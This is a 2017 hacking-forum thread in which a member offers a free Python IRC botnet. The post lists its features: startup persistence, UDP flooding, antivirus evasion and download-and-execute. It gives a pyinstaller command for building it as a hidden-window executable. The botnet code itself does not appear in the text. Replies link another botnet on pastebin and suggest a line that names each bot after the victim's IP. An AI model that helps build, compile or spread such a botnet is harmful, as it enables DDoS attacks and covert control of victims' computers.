DO NOT DEAL WITH THIS MEMBER
Feb 12, 2017 12:55 PM
(This post was last modified: Feb 12, 2017 12:56 PM by 05317832892.)
I've been off school with half term + weekend recently so I write a nice and simple IRC botnet. Commented this one out so it's easier to follow.
Compile with pyinstaller:
Code pyinstaller -F -w -i icon.ico bot.py
Flags explained:
-F Compiles to a single standalone .exe, no .dlls and config shit
-w Runs in a hidden window
-i specifies a path for an icon
bot.py name/location of your python script
Features:
-Copies itself to startup
-UDP Flood
-FUD
-Only accepts commands from the bot owner
-High compatability
-Download and execute
-Ping your bots
As usual with python malware, my favourite type of malware, completely FUD!
Scan:
![[Image: 67911558537fb5c9aff46b2d8d5d8dea1bff8d74]](https://scan.majyx.net/scans/image/67911558537fb5c9aff46b2d8d5d8dea1bff8d74)
Code:
Screenshots:
![[Image: 776f4c9f84e6491fbe7630b284b0f2c0.png]](https://www.imageupload.co.uk/images/2017/02/12/776f4c9f84e6491fbe7630b284b0f2c0.png)
This code is fucking trash, I guess that's why it's free.
DO NOT DEAL WITH THIS MEMBER
(Feb 12, 2017 01:15 PM)PotatoChipz Wrote: This code is fucking trash, I guess that's why it's free.
Please man. Be happy he gave this out for free. A little compliment is well earned even when you don't like the code common.
I don't use botnets but I'm very happy that people from HF are contributing to the community!
Good job!!
DO NOT DEAL WITH THIS MEMBER
(Feb 12, 2017 01:15 PM)PotatoChipz Wrote: This code is fucking trash, I guess that's why it's free.
Open to suggestions.
(Feb 12, 2017 01:18 PM)SIM-3063187 Wrote: Please man. Be happy he gave this out for free. A little compliment is well earned even when you don't like the code common.
I don't use botnets but I'm very happy that people from HF are contributing to the community!
Good job!!
Thanks!
Feb 13, 2017 06:46 AM
(This post was last modified: Feb 13, 2017 06:48 AM by PotatoChipz.)
(Feb 12, 2017 01:25 PM)05317832892 Wrote: Open to suggestions.
Thanks!
Make it OOP
Your variable names are inconsistent Make the variable names more descriptive so rather than saying "irc" call it "ircSocket"
You shouldn't actually need a delay 0.5.
* Rather than calling send directly on the socket create a wrapper around the socket and use that.
However because I'm cool I wrote a better IRC botnet.
You can get it from here: http://pastebin.com/nsDGFJhi - Python 2.7.12
To use it you just run it, and then authenticate yourself.
!authenticate super_secret_password
You can then use !ping or !ip.
Feel free to add on to it.
Note: You will need the "requests" library which can be downloaded by running "pip install requests".
(Feb 13, 2017 06:46 AM)PotatoChipz Wrote: * Make it OOP Your variable names are inconsistent
Make the variable names more descriptive so rather than saying "irc" call it "ircSocket" You shouldn't actually need a delay 0.5.
Rather than calling send directly on the socket create a wrapper around the socket and use that.
However because I'm cool I wrote a better IRC botnet.
You can get it from here: http://pastebin.com/nsDGFJhi - Python 2.7.12
To use it you just run it, and then authenticate yourself.
!authenticate super_secret_password
You can then use !ping or !ip.
Feel free to add on to it.
Note: You will need the "requests" library which can be downloaded by running "pip install requests".
yeah, making it a library would be better tbh, but you can't really make it oop, you can just implement oop into it.
you can usually detect the newbie python coders from the way they format their code and by how they use classes/functions or even lack thereof.
but yes, as he said your code definitely is pretty ugly and needs either a main class to store the functions and have everything done easier code-wise and debug-wise.
just he worded it a bit meaner.
also you write legit the same style as me @PotatoChipz
+1
Contact for professional programming services.
unazed#5906
> 3.5
> Using multi-threading
I just shat myself.
(Feb 13, 2017 09:39 AM)Goodies Wrote: > 3.5
> Using multi-threading
I just shat myself.
true, he should use 2.7.6 and threading.
it's better than 3.x's asyncio or whatever that shit was that you constantly asslick
Contact for professional programming services.
unazed#5906
DO NOT DEAL WITH THIS MEMBER
(Feb 13, 2017 09:39 AM)Goodies Wrote: > 3.5
> Using multi-threading
I just shat myself.
Lmao it's not that bad, I started on 3.5 and can't really bring myself to downgrade to 2.7
(Feb 13, 2017 09:45 AM)Infamia Wrote: it's better than 3.x's asyncio or whatever that shit was that you constantly asslick
Ha! There is nothing better than asyncio, you mongoloid.
(Feb 13, 2017 10:26 AM)Goodies Wrote: Ha! There is nothing better than asyncio, you mongoloid.
old is gold
Contact for professional programming services.
unazed#5906
(Feb 13, 2017 09:47 AM)05317832892 Wrote: Lmao it's not that bad, I started on 3.5 and can't really bring myself to downgrade to 2.7
![[Image: BFJkuQi.jpg]](https://i.imgur.com/BFJkuQi.jpg)
Learn to use and love asyncio.
DO NOT DEAL WITH THIS MEMBER
(Feb 13, 2017 10:34 AM)Goodies Wrote:
![[Image: BFJkuQi.jpg]](https://i.imgur.com/BFJkuQi.jpg)
Learn to use and love asyncio.
Of course.
(Feb 13, 2017 10:34 AM)Goodies Wrote:
![[Image: BFJkuQi.jpg]](https://i.imgur.com/BFJkuQi.jpg)
Learn to use and love asyncio.
I can write in Python 3.x, it's just that I prefer Python 2.x.
Old is gold, new is ew.
hi im new to programming python
and think a script like this is very interesting however i had a few questions, this line:
botnick="BOT_" + str(random.randint(10000000, 99999999))
since this script is ran again at reboot the bot will get a new nickname each reboot right ?
And second it generates a random name for every bot but wouldnt that mean that if a bot somehow got the same name as another bot it would fail to connect?
you could also use this code botnick="BOT_" + urllib.request.urlopen('http://ip.42.pl/raw').read()
This should give the bot BOT_(their ip) as a nickname
However im not home to test it
=============================================
Nothing yet
=============================================
|